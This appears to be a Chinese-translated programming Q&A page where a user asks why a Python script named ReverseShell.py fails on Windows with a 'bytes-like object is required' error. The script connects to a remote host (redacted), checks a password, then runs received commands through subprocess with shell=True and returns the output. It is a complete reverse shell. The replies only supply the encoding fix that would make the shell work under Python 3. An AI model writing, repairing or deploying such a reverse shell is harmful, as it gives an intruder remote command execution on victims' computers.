【问题标题】:Python Socket Errors "a bytes-like object is requred not 'str'Python 套接字错误“需要一个类似字节的对象而不是'str'
【发布时间】:2020-07-16 04:58:52
【问题描述】:

这是我的脚本。它在 Linux 上完美运行,但是当我在 Windows 计算机上运行它时,我得到 2 个错误。列在底部。

#!/usr/bin/python
import subprocess   
import socket        

host = "*********"   
port = ***           
passwd = "****"  
def Login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        Login()
    else:
        s.send("SHELL ")
        Shell()

#Execute Shell Commands
def Shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
            break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")

#Start Script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)       
s.connect((host,port))
Login()

以下是两个错误需要更改什么?

C:\Users\IEUser\Desktop\Python>python ReverseShell.py
Traceback (most recent call last):
  File "ReverseShell.py", line 34, in <module>
    Login()
  File "ReverseShell.py", line 11, in Login
    s.send("Login: ")
TypeError: a bytes-like object is required, not 'str'

【问题讨论】:

  • 我想知道这是否是 python 2 vs 3 的事情。尝试将.encode("utf-8")(或"ascii")添加到send()s 中的所有字符串,甚至只是在它们之前添加b
  • 我尝试通过 2to3 运行它,但它不会做出任何改变。我认为 2 vs 3 是问题所在。我应该尝试在所有这样的字符串的开头添加那些代码行“.encode("utf-8")(或者可能是“ascii”)吗? .encode("utf -8") s.connect((host,port)) .encode("utf-8") s.send("登录名:") or b s.connect((host,port)) b s.send("登录:")
  • 我的意思是 "Login: ".encode("utf-8") 或者只是 b"Login: "

标签: linux windows python sockets


【解决方案1】:

python2 sock.send 可以使用python strpython3 它必须是bytes-like object

一个简单的修复看起来像这样

'message'.encode('utf-8')

python2 中,这将无济于事,在 python3 中,您将获得您的 bytes。砰!

希望这会有所帮助!

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-10-28
    • 2017-08-31
    • 1970-01-01
    相关资源
    最近更新 更多